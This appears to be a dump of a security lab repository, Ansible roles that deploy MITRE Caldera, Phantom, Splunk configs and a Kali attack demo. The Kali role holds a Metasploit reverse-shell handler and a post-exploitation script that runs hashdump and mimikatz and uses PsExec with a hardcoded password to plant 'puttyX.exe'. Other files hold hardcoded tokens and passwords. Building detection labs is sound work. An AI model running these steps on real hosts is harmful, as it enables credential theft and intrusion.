23 | virtualenv_python: "{{ python }}"
24 | with_items:
25 | - pip
26 | - setuptools
27 | register: pkg_result
28 | until: pkg_result is success
29 |
30 | - name: git clone caldera
31 | git:
32 | repo: https://github.com/mitre/caldera.git
33 | dest: "{{ caldera_rootdir }}"
34 | update: false
35 | recursive: true
36 | version: "2.8.1"
37 | become: yes
38 | become_user: "{{ caldera_user }}"
39 | register: result
40 |
41 | - name: Copy local.yml configuration
42 | template:
43 | src: local.yml.j2
44 | dest: "{{ caldera_rootdir }}/conf/local.yml"
45 |
46 | - name: Install caldera pip requirements
47 | pip:
48 | requirements: "{{ caldera_rootdir }}/requirements.txt"
49 | virtualenv: "{{ caldera_home }}/env-caldera"
50 | virtualenv_python: "{{ python }}"
51 | register: pkg_result
52 | until: pkg_result is success
53 |
54 | - name: Identify other pip requirements
55 | find:
56 | paths: "{{ caldera_rootdir }}/plugins"
57 | patterns: 'requirements.txt'
58 | recurse: yes
59 | register: requirements
60 |
61 | - name: Install other pip requirements
62 | pip:
63 | requirements: "{{ item.path }}"
64 | virtualenv: "{{ caldera_home }}/env-caldera"
65 | virtualenv_python: "{{ python }}"
66 | register: pkg_result
67 | until: pkg_result is success
68 | loop: "{{ requirements.files }}"
69 |
70 | # - name: set http listener binding
71 | # lineinfile:
72 | # path: "{{ caldera_rootdir }}/conf/local.yml"
73 | # regexp: '^host:'
74 | # line: "host: 0.0.0.0"
75 |
76 | # - name: set admin user password
77 | # lineinfile:
78 | # path: "{{ caldera_rootdir }}/conf/local.yml"
79 | # regexp: 'admin:'
80 | # line: "admin: 0.0.0.0"
81 |
82 | # - name: add plugin to conf
83 | # lineinfile:
84 | # path: "{{ caldera_rootdir }}/conf/local.yml"
85 | # insertafter: 'plugins:'
86 | # line: " - {{ item }}"
87 | # with_items: "{{ plugins }}"
88 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/tasks/daemonize.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: install systemd configuration
3 | template:
4 | src: systemd-caldera.service.j2
5 | dest: /lib/systemd/system/caldera.service
6 | mode: '0644'
7 | backup: yes
8 | register: systemd
9 |
10 | - name: reload systemd
11 | systemd:
12 | daemon_reload: yes
13 | name: caldera
14 | when: systemd.changed
15 | ignore_errors: true
16 |
17 | - name: enable and start caldera systemd service
18 | service:
19 | name: caldera
20 | enabled: yes
21 | state: 'started'
22 | ignore_errors: true
23 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/tasks/go.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Download the Go tarball
4 | get_url:
5 | url: "https://dl.google.com/go/go1.13.11.linux-amd64.tar.gz"
6 | dest: /usr/local/src/go1.13.11.linux-amd64.tar.gz
7 |
8 | - name: Extract the Go tarball if Go is not yet installed or not the desired version
9 | unarchive:
10 | src: /usr/local/src/go1.13.11.linux-amd64.tar.gz
11 | dest: /usr/local
12 | copy: no
13 |
14 | - name: Add the Go bin directory to the PATH environment variable for all users
15 | copy:
16 | src: go-bin.sh
17 | dest: /etc/profile.d
18 |
19 | - name: Set GOPATH for all users
20 | copy:
21 | src: go-path.sh
22 | dest: /etc/profile.d
23 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - include: go.yml
4 | - include: caldera.yml
5 | - include: daemonize.yml
6 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/templates/local.yml.j2:
--------------------------------------------------------------------------------
1 | ability_refresh: 60
2 | api_key_blue: {{ caldera_password }}
3 | api_key_red: {{ caldera_password }}
4 | app.contact.gist: API_KEY
5 | app.contact.html: /weather
6 | app.contact.http: http://0.0.0.0:8888
7 | app.contact.tcp: 0.0.0.0:7010
8 | app.contact.udp: 0.0.0.0:7011
9 | app.contact.websocket: 0.0.0.0:7012
10 | crypt_salt: adasldnb423adfmq92313
11 | encryption_key: {{ caldera_password }}
12 | exfil_dir: /tmp
13 | host: 0.0.0.0
14 | plugins:
15 | - access
16 | - atomic
17 | - compass
18 | - debrief
19 | - fieldmanual
20 | - gameboard
21 | - manx
22 | - response
23 | - sandcat
24 | - stockpile
25 | - training
26 | port: 8888
27 | reports_dir: /tmp
28 | requirements:
29 | go:
30 | command: go version
31 | type: installed_program
32 | version: 1.11
33 | python:
34 | attr: version
35 | module: sys
36 | type: python_module
37 | version: 3.6.1
38 | users:
39 | blue:
40 | blue: {{ caldera_password }}
41 | red:
42 | admin: {{ caldera_password }}
43 | red: {{ caldera_password }}
44 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/templates/systemd-caldera.service.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed | comment }}
2 | [Unit]
3 | Description=MITRE Caldera automated adversary emulation system
4 | After=network.target
5 |
6 | [Service]
7 | Type=simple
8 | ExecStart={{ caldera_home }}/env-caldera/bin/python {{ caldera_rootdir }}/server.py -E local
9 | WorkingDirectory={{ caldera_rootdir }}
10 | Restart=always
11 | RestartSec=10
12 | StandardOutput=syslog
13 | SyslogIdentifier=caldera
14 | User=root
15 | Group=nogroup
16 | PrivateTmp=true
17 | KillSignal=SIGINT
18 |
19 | [Install]
20 | WantedBy=multi-user.target
21 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/vars/main.yml:
--------------------------------------------------------------------------------
1 |
2 | #caldera_version: d0df0a9349197c17e1a8a0a461597b1cd244e742
3 | caldera_user: caldera
4 | caldera_home: /var/_caldera
5 | caldera_rootdir: /var/_caldera/caldera
6 |
7 | caldera_pkg:
8 | - python3
9 | - python3-dev
10 | - python3-pip
11 | - python3-virtualenv
12 | - python-virtualenv
13 | - git-core
14 | - libffi-dev
15 | - libssl-dev
16 | - acl
17 | - haproxy
18 |
19 | python: python3
20 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/files/PsExec64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/ansible/roles/kali_linux/files/PsExec64.exe
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/files/attack.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Attack Demo Service
3 | After=multi-user.target
4 | Conflicts=getty@tty1.service
5 |
6 | [Service]
7 | Type=simple
8 | ExecStart=/usr/bin/python3 /var/www/run_metasploit.py
9 | Restart=on-failure
10 |
11 | [Install]
12 | WantedBy=multi-user.target
13 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/files/commands.rc:
--------------------------------------------------------------------------------
1 | sysinfo
2 | getuid
3 | getenv
4 | localtime
5 | ipconfig
6 | arp
7 | netstat
8 | run post/windows/gather/checkvm
9 | run post/windows/gather/enum_applications
10 | run post/windows/gather/enum_logged_on_users
11 | getsytem
12 | hashdump
13 | load mimikatz
14 | msv
15 | upload /var/www/PsExec64.exe C:/Users/Administrator/Downloads
16 | load powershell
17 | powershell_execute "C:/Users/Administrator/Downloads/PsExec64.exe \\\\10.0.1.4 -u Administrator -p I-l1ke-Attack-Range! -accepteula cmd /c copy \\\\10.0.1.5\\evil\\puttyX.exe C:\\puttyX.exe "
18 | download C:/Users/Administrator/Downloads/PsExec64.exe /tmp/PsExec64.exe
19 | quit
20 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/files/meterpreter.rc:
--------------------------------------------------------------------------------
1 | use exploit/multi/handler
2 | set payload windows/x64/meterpreter_reverse_http
3 | set lhost 10.0.1.6
4 | set lport 4444
5 | set AutoRunScript /var/www/commands.rc
6 | exploit
7 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/files/run_metasploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import sys
4 | import subprocess
5 | import os
6 | import time
7 |
8 | def main(argv):
9 |
10 | process = startProcess()
11 |
12 | while True:
13 | process = stopProcess(process)
14 | checkProcess(process)
15 |
16 |
17 | def startProcess():
18 | process = subprocess.Popen(['msfconsole', '-r', '/var/www/meterpreter.rc'],
19 | stdout=subprocess.PIPE,
20 | universal_newlines=True)
21 |
22 | return process
23 |
24 |
25 | def checkProcess(process):
26 | try:
27 | output = process.stdout.readline()
28 | print(output.strip())
29 | except KeyboardInterrupt:
30 | try:
31 | process.terminate()
32 | except OSError:
33 | pass
34 |
35 |
36 | def stopProcess(process):
37 | if os.path.isfile('/tmp/PsExec64.exe'):
38 | os.remove('/tmp/PsExec64.exe')
39 | time.sleep(10)
40 | process.terminate()
41 | process = subprocess.Popen(['msfconsole', '-r', '/var/www/meterpreter.rc'],
42 | stdout=subprocess.PIPE,
43 | universal_newlines=True)
44 | return process
45 |
46 |
47 | if __name__ == "__main__":
48 | main(sys.argv)
49 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - include: setup.yml
5 | when:
6 | - run_demo == "1"
7 | - demo_scenario == "mission_control_malicious_putty"
8 |
--------------------------------------------------------------------------------
/ansible/roles/kali_linux/tasks/setup.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: copy commands.rc to kali linux
4 | copy:
5 | src: commands.rc
6 | dest: /var/www/commands.rc
7 |
8 | - name: copy meterpreter.rc to kali linux
9 | copy:
10 | src: meterpreter.rc
11 | dest: /var/www/meterpreter.rc
12 |
13 | - name: copy meterpreter.rc to kali linux
14 | copy:
15 | src: meterpreter.rc
16 | dest: /var/www/meterpreter.rc
17 |
18 | - name: copy PsExec64.exe to kali linux
19 | copy:
20 | src: PsExec64.exe
21 | dest: /var/www/PsExec64.exe
22 |
23 | - name: copy run_metasploit.py to kali linux
24 | copy:
25 | src: run_metasploit.py
26 | dest: /var/www/run_metasploit.py
27 |
28 | - name: Make run_metasploit.py executable
29 | command: chmod +x /var/www/run_metasploit.py
30 |
31 | - name: copy attack.service to kali linux
32 | copy:
33 | src: attack.service
34 | dest: /etc/systemd/system/attack.service
35 | mode: '0644'
36 | become: yes
37 |
38 | - name: setup metasploit database
39 | command: service postgresql start
40 | become: yes
41 |
42 | - name: setup metasploit service
43 | command: msfdb init
44 | become: yes
45 |
46 | - name: reload systemctl
47 | command: systemctl daemon-reload
48 | become: yes
49 |
50 | - name: enable attack
51 | command: systemctl enable attack.service
52 | become: yes
53 |
54 | - name: enable attack
55 | command: systemctl start attack.service
56 | become: yes
57 |
--------------------------------------------------------------------------------
/ansible/roles/linux_common/tasks/disable-dnssec.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Create resolved.conf.d
4 | file:
5 | path: /etc/systemd/resolved.conf.d
6 | state: directory
7 | owner: root
8 | group: root
9 | mode: 0755
10 |
11 | - name: Disable DNSSEC
12 | template:
13 | src: disable-dnssec.conf.j2
14 | dest: /etc/systemd/resolved.conf.d/disable-dnssec.conf
15 | owner: root
16 | group: root
17 | mode: 0644
18 |
19 | - name: Restart systemd-resolved
20 | service:
21 | name: systemd-resolved
22 | state: restarted
23 |
--------------------------------------------------------------------------------
/ansible/roles/linux_common/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - include: set-hostname.yml
3 | - include: disable-dnssec.yml
4 |
--------------------------------------------------------------------------------
/ansible/roles/linux_common/tasks/set-hostname.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Change the hostname
4 | hostname:
5 | name: "{{ hostname }}-{{ 9999999 | random }}"
6 |
--------------------------------------------------------------------------------
/ansible/roles/linux_common/templates/disable-dnssec.conf.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | [Resolve]
3 | DNSSEC=false
4 |
--------------------------------------------------------------------------------
/ansible/roles/phantom/README.md:
--------------------------------------------------------------------------------
1 | Role Name
2 | ========
3 |
4 | Bootstrap a Phantom server from a fresh CentOS image.
5 |
6 | Requirements
7 | ------------
8 |
9 | You need a free account on my.phantom.us to download the community edition. Establish a username (email address) and password on that site, then copy them into attack\_range.conf. Otherwise there are no additional requirements compared to other Attack Range components.
10 |
11 | Role Variables
12 | --------------
13 |
14 | This role receives all of its configuration variables from attack\_range.conf like other Attack Range components
15 |
16 | Dependencies
17 | ------------
18 |
19 | License
20 | -------
21 |
22 | Apache License 2.0
23 |
24 | Author Information
25 | ------------------
26 |
27 | Phil Royer
28 |
--------------------------------------------------------------------------------
/ansible/roles/phantom/tasks/configure_phantom.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Configure phantom with credentials, apps, assets, and so on...
3 |
4 | - name: change phantom admin password
5 | uri:
6 | url: https://127.0.0.1/rest/user_settings
7 | method: POST
8 | user: admin
9 | password: password
10 | body: {"old_password":"password","password":"{{phantom_admin_password}}"}
11 | body_format: json
12 | force_basic_auth: yes
13 | validate_certs: no
14 |
15 | - name: fetch phantom api token
16 | uri:
17 | url: https://127.0.0.1/rest/ph_user/2/token
18 | method: GET
19 | user: admin
20 | password: "{{phantom_admin_password}}"
21 | force_basic_auth: yes
22 | validate_certs: no
23 | register: api_token
24 |
25 | - name: display phantom api token
26 | debug:
27 | msg: "phantom api token is {{api_token.json.key}}"
28 |
29 | - name: open up api allowed ip list
30 | uri:
31 | url: https://127.0.0.1/rest/ph_user/2
32 | method: POST
33 | body: '{"allowed_ips":["any"]}'
34 | user: admin
35 | password: "{{phantom_admin_password}}"
36 | force_basic_auth: yes
37 | validate_certs: no
38 |
39 | - name: test api token
40 | uri:
41 | url: https://127.0.0.1/rest/container
42 | method: GET
43 | return_content: yes
44 | headers:
45 | ph-auth-token: "{{api_token.json.key}}"
46 | validate_certs: no
47 |
48 | # install a list of apps using RPMs. URL's can be found at https://repo.phantom.us/phantom/4.8/apps/x86_64/
49 |
50 | - name: install whois app
51 | yum:
52 | name: http://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_whois-1.2.41.x86_64.rpm
53 | state: present
54 |
55 | - name: install maxmind app
56 | yum:
57 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_maxmind-2.0.3.x86_64.rpm
58 | state: present
59 |
60 | - name: install dns app
61 | yum:
62 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_dns-1.3.32.x86_64.rpm
63 | state: present
64 |
65 | - name: install phishtank app
66 | yum:
67 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_phishtank-1.0.21.x86_64.rpm
68 | state: present
69 |
70 | - name: install splunk app
71 | yum:
72 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_splunk-1.3.41.x86_64.rpm
73 | state: present
74 |
75 | - name: install winrm app
76 | yum:
77 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_winrm-1.0.19.x86_64.rpm
78 | state: present
79 |
80 | # template to install more apps
81 | #- name: install <> app
82 | # yum:
83 | # name:
84 | # state: present
85 |
--------------------------------------------------------------------------------
/ansible/roles/phantom/tasks/install_phantom.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Install Phantom from RPM on a fresh CentOS 7 instance
3 |
4 | - name: check if phantom is installed
5 | stat: path=/opt/phantom
6 | register: phantom_path
7 |
8 | - name: debug print if phantom is installed
9 | debug: msg='phantom is already installed under /opt/phantom'
10 | when: phantom_path.stat.exists
11 |
12 | - name: install the nginx dependency
13 | yum:
14 | name: https://repo.phantom.us/phantom/4.8/base/7/x86_64/nginx-1.17.7-1.el7.ngx.x86_64.rpm
15 | state: present
16 |
17 | - name: install the phantom setup rpm from the community repository
18 | yum:
19 | name: https://repo.phantom.us/phantom/4.8/base/7/x86_64/phantom_repo-4.8.23319-1.x86_64.rpm
20 | state: present
21 |
22 | # installing apps takes 15+ minutes longer, so later we will install just the apps we need
23 | - name: run the phantom install script without apps
24 | shell: printf "{{phantom_community_username}}\n{{phantom_community_password}}\n" | /opt/phantom/bin/phantom_setup.sh install --no-prompt --without-apps
25 | async: 600
26 | poll: 60
27 |
--------------------------------------------------------------------------------
/ansible/roles/phantom/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # This playbook contains common tasks in this role
3 |
4 | - include: install_phantom.yml
5 | - include: configure_phantom.yml
6 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/README.md:
--------------------------------------------------------------------------------
1 | Role Name
2 | ========
3 |
4 | A brief description of the role goes here.
5 |
6 | Requirements
7 | ------------
8 |
9 | Any pre-requisites that may not be covered by Ansible itself or the role should be mentioned here. For instance, if the role uses the EC2 module, it may be a good idea to mention in this section that the boto package is required.
10 |
11 | Role Variables
12 | --------------
13 |
14 | A description of the settable variables for this role should go here, including any variables that are in defaults/main.yml, vars/main.yml, and any variables that can/should be set via parameters to the role. Any variables that are read from other roles and/or the global scope (ie. hostvars, group vars, etc.) should be mentioned here as well.
15 |
16 | Dependencies
17 | ------------
18 |
19 | A list of other roles hosted on Galaxy should go here, plus any details in regards to parameters that may need to be set for other roles, or variables that are used from other roles.
20 |
21 | Example Playbook
22 | -------------------------
23 |
24 | Including an example of how to use your role (for instance, with variables passed in as parameters) is always nice for users too:
25 |
26 | - hosts: servers
27 | roles:
28 | - { role: username.rolename, x: 42 }
29 |
30 | License
31 | -------
32 |
33 | BSD
34 |
35 | Author Information
36 | ------------------
37 |
38 | An optional section for the role authors to include contact information, or a website (HTML is not allowed).
39 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/authorize.conf:
--------------------------------------------------------------------------------
1 | [role_admin]
2 | grantableRoles = admin
3 | srchIndexesDefault = attack;dns;fw;mail;main;proxy;unix;win
4 | srchMaxTime = 8640000
5 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/hec_inputs.conf:
--------------------------------------------------------------------------------
1 | [http]
2 | disabled = 0
3 |
4 | [http://k8stoken]
5 | description = Token for Kubernetes
6 | disabled = 0
7 | token = 1b0bb9cc-e884-4ae0-b3fa-9062f200b328
8 | index = kubernetes
9 | indexes = kubernetes,kubernetes-metrics
10 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/indexes.conf:
--------------------------------------------------------------------------------
1 | [default]
2 | # Without repFactor = auto (or a number, dictating the number of copies),
3 | # indexes won't be replicated from one peer to another. This setting applies
4 | # a global setting of "auto". Without this, the default repFactor is zero (0).
5 | repFactor = auto
6 | # Default for each index. Can be overridden per index based upon the volume of data received by that index.
7 | # 300GB
8 | #homePath.maxDataSizeMB = 300000
9 | # 200GB
10 | #coldPath.maxDataSizeMB = 200000
11 |
12 | # Retention Time 1 year
13 | frozenTimePeriodInSecs = 31536000
14 |
15 | # VOLUME SETTINGS
16 | # One Volume for Hot and Cold
17 | [volume:primary]
18 | path = /opt/splunk/var/lib/splunk
19 | # 1000GB
20 | maxVolumeDataSizeMB = 20000
21 |
22 | # Two volumes for a "tiered storage" solution--fast and slow disk.
23 | # [volume:home]
24 | # path = /path/to/fast/disk
25 | # maxVolumeDataSizeMB = 256000
26 | #
27 | # Longer term storage on slower disk.
28 | #[volume:cold]
29 | #path = /opt/splunk/var/lib/splunk
30 | # 5TB with some headroom leftover (data summaries, etc)
31 | #maxVolumeDataSizeMB = 4600000
32 |
33 | # SPLUNK INDEXES
34 | # Note, many of these use historical directory names which don't match the
35 | # name of the index. A common mistake is to automatically generate a new
36 | # indexes.conf from the existing names, thereby "losing" (hiding from Splunk)
37 | # the existing data.
38 | [main]
39 | homePath = volume:primary/defaultdb/db
40 | coldPath = volume:primary/defaultdb/colddb
41 | thawedPath = $SPLUNK_DB/defaultdb/thaweddb
42 |
43 | [history]
44 | homePath = volume:primary/historydb/db
45 | coldPath = volume:primary/historydb/colddb
46 | thawedPath = $SPLUNK_DB/historydb/thaweddb
47 |
48 | [summary]
49 | homePath = volume:primary/summarydb/db
50 | coldPath = volume:primary/summarydb/colddb
51 | thawedPath = $SPLUNK_DB/summarydb/thaweddb
52 |
53 | [_internal]
54 | homePath = volume:primary/_internaldb/db
55 | coldPath = volume:primary/_internaldb/colddb
56 | thawedPath = $SPLUNK_DB/_internaldb/thaweddb
57 |
58 | # For version 6.1 and higher
59 | [_introspection]
60 | homePath = volume:primary/_introspection/db
61 | coldPath = volume:primary/_introspection/colddb
62 | thawedPath = $SPLUNK_DB/_introspection/thaweddb
63 |
64 | # For version 6.5 and higher
65 | [_telemetry]
66 | homePath = volume:primary/_telemetry/db
67 | coldPath = volume:primary/_telemetry/colddb
68 | thawedPath = $SPLUNK_DB/_telemetry/thaweddb
69 |
70 | [_audit]
71 | homePath = volume:primary/audit/db
72 | coldPath = volume:primary/audit/colddb
73 | thawedPath = $SPLUNK_DB/audit/thaweddb
74 |
75 | [_thefishbucket]
76 | homePath = volume:primary/fishbucket/db
77 | coldPath = volume:primary/fishbucket/colddb
78 | thawedPath = $SPLUNK_DB/fishbucket/thaweddb
79 |
80 |
81 | # CUSTOM INDEXES
82 |
83 | [test]
84 | homePath = volume:primary/testdb/db
85 | coldPath = volume:primary/testdb/colddb
86 | thawedPath = $SPLUNK_DB/testdb/thaweddb
87 | frozenTimePeriodInSecs = 604800
88 |
89 | [network]
90 | homePath = volume:primary/networkdb/db
91 | coldPath = volume:primary/networkdb/colddb
92 | thawedPath = $SPLUNK_DB/networkdb/thaweddb
93 |
94 | [aws]
95 | homePath = volume:primary/awsdb/db
96 | coldPath = volume:primary/awsdb/colddb
97 | thawedPath = $SPLUNK_DB/awsdb/thaweddb
98 |
99 | [unix]
100 | homePath = volume:primary/unixdb/db
101 | coldPath = volume:primary/unixdb/colddb
102 | thawedPath = $SPLUNK_DB/unixdb/thaweddb
103 |
104 | [win]
105 | homePath = volume:primary/windb/db
106 | coldPath = volume:primary/windb/colddb
107 | thawedPath = $SPLUNK_DB/windb/thaweddb
108 |
109 | [fw]
110 | homePath = volume:primary/fwdb/db
111 | coldPath = volume:primary/fwdb/colddb
112 | thawedPath = $SPLUNK_DB/fwdb/thaweddb
113 |
114 | [dns]
115 | homePath = volume:primary/dnsdb/db
116 | coldPath = volume:primary/dnsdb/colddb
117 | thawedPath = $SPLUNK_DB/dnsdb/thaweddb
118 |
119 | [mail]
120 | homePath = volume:primary/maildb/db
121 | coldPath = volume:primary/maildb/colddb
122 | thawedPath = $SPLUNK_DB/maildb/thaweddb
123 |
124 | [kubernetes]
125 | homePath = volume:primary/kubernetesdb/db
126 | coldPath = volume:primary/kubernetesdb/colddb
127 | thawedPath = $SPLUNK_DB/kubernetesdb/thaweddb
128 |
129 | [kubernetes-metrics]
130 | homePath = volume:primary/kubernetesmetricsdb/db
131 | coldPath = volume:primary/kubernetesmetricsdb/colddb
132 | thawedPath = $SPLUNK_DB/kubernetesmetricsdb/thaweddb
133 |
134 | [proxy]
135 | homePath = volume:primary/proxydb/db
136 | coldPath = volume:primary/proxydb/colddb
137 | thawedPath = $SPLUNK_DB/proxydb/thaweddb
138 |
139 | [attack]
140 | homePath = volume:primary/attackdb/db
141 | coldPath = volume:primary/attackdb/colddb
142 | thawedPath = $SPLUNK_DB/attackdb/thaweddb
143 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/inputs.conf:
--------------------------------------------------------------------------------
1 | [default]
2 | host = splunk-server
3 |
4 | [splunktcp://9997]
5 | disabled = 0
6 |
7 | [monitor:///var/_caldera/caldera/logs]
8 | disabled = 0
9 | index = attack
10 | sourcetype = _json
11 | whitelist = \.json$
12 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/limits.conf:
--------------------------------------------------------------------------------
1 | [restapi]
2 | maxresultsrow = 1000000
3 |
4 | [searchresults]
5 | maxresultsrow = 1000000
6 |
7 | [sample]
8 | maxsamples = 100000
9 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/macros.conf:
--------------------------------------------------------------------------------
1 | [sysmon]
2 | definition = source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
3 | iseval = 0
4 |
5 | [known_bad_ips]
6 | definition = search dest_ip="10.0.1.6"
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/outputs.conf:
--------------------------------------------------------------------------------
1 | [tcpout]
2 | defaultGroup = noOutputGroup
3 | indexAndForward=true
4 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/proxy.conf:
--------------------------------------------------------------------------------
1 | [product_management]
2 | validate_cert = false
3 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches.conf:
--------------------------------------------------------------------------------
1 |
2 |
3 | [ESCU - Network Connections to Known Malicious IPs - Rule]
4 | action.correlationsearch.enabled = 1
5 | action.correlationsearch.label = ESCU - Network Connections to Known Malicious IPs - Rule
6 | action.customsearchbuilder.enabled = false
7 | action.customsearchbuilder.spec = {}
8 | action.notable = 1
9 | action.notable.param.recommended_actions = send2mc_notable
10 | action.notable.param.rule_description = This search detects outbound network connections to known malicious IP address
11 | action.notable.param.rule_title = ESCU - Network Connections to Known Malicious IPs - Rule
12 | action.notable.param.security_domain = threat
13 | action.notable.param.severity = high
14 | action.notable.param.verbose = 0
15 | action.send2mc_notable = 1
16 | alert.suppress = 0
17 | alert.track = 1
18 | counttype = number of events
19 | cron_schedule = */5 * * * *
20 | description = This search detects outbound network connections to known malicious IP address
21 | dispatch.earliest_time = -24h
22 | dispatch.latest_time = now
23 | dispatch.rt_backfill = 1
24 | enableSched = 1
25 | quantity = 0
26 | relation = greater than
27 | request.ui_dispatch_app = SplunkEnterpriseSecuritySuite
28 | schedule_priority = highest
29 | schedule_window = auto
30 | search = | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name("All_Traffic")` |
31 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_DA-ESS-NetworkProtection.conf:
--------------------------------------------------------------------------------
1 | [Network - Traffic Bytes Tracker - Lookup Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Network - URL Length Tracker - Lookup Gen]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 |
29 | [Network - User Agent Length Tracker - Lookup Gen]
30 | action.keyindicator.invert = 0
31 | action.makestreams.param.verbose = 0
32 | action.nbtstat.param.verbose = 0
33 | action.notable.param.verbose = 0
34 | action.nslookup.param.verbose = 0
35 | action.ping.param.verbose = 0
36 | action.risk.param.verbose = 0
37 | action.send2uba.param.verbose = 0
38 | action.threat_add.param.verbose = 0
39 | alert.track = 0
40 | disabled = 1
41 | is_visible = 0
42 |
43 | [Network - Whois Tracker - Lookup Gen]
44 | action.keyindicator.invert = 0
45 | action.makestreams.param.verbose = 0
46 | action.nbtstat.param.verbose = 0
47 | action.notable.param.verbose = 0
48 | action.nslookup.param.verbose = 0
49 | action.ping.param.verbose = 0
50 | action.risk.param.verbose = 0
51 | action.send2uba.param.verbose = 0
52 | action.threat_add.param.verbose = 0
53 | alert.track = 0
54 | disabled = 1
55 | is_visible = 0
56 |
57 | [Network - Vulnerability Tracker - Lookup Gen]
58 | action.keyindicator.invert = 0
59 | action.makestreams.param.verbose = 0
60 | action.nbtstat.param.verbose = 0
61 | action.notable.param.verbose = 0
62 | action.nslookup.param.verbose = 0
63 | action.ping.param.verbose = 0
64 | action.risk.param.verbose = 0
65 | action.send2uba.param.verbose = 0
66 | action.threat_add.param.verbose = 0
67 | alert.track = 0
68 | disabled = 1
69 | enableSched = 1
70 | is_visible = 0
71 |
72 | [Network - Whois Tracker - Checkpoint Gen]
73 | action.keyindicator.invert = 0
74 | action.makestreams.param.verbose = 0
75 | action.nbtstat.param.verbose = 0
76 | action.notable.param.verbose = 0
77 | action.nslookup.param.verbose = 0
78 | action.ping.param.verbose = 0
79 | action.risk.param.verbose = 0
80 | action.send2uba.param.verbose = 0
81 | action.threat_add.param.verbose = 0
82 | alert.track = 0
83 | disabled = 1
84 | is_visible = 0
85 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_SA-AccessProtection.conf:
--------------------------------------------------------------------------------
1 | [Access - Authentication Failures By Source Per Day - Context Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Access - Authentication Volume Per Day - Context Gen]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 |
29 | [Access - Authentication Failures By Source - Context Gen]
30 | action.keyindicator.invert = 0
31 | action.makestreams.param.verbose = 0
32 | action.nbtstat.param.verbose = 0
33 | action.notable.param.verbose = 0
34 | action.nslookup.param.verbose = 0
35 | action.ping.param.verbose = 0
36 | action.risk.param.verbose = 0
37 | action.send2uba.param.verbose = 0
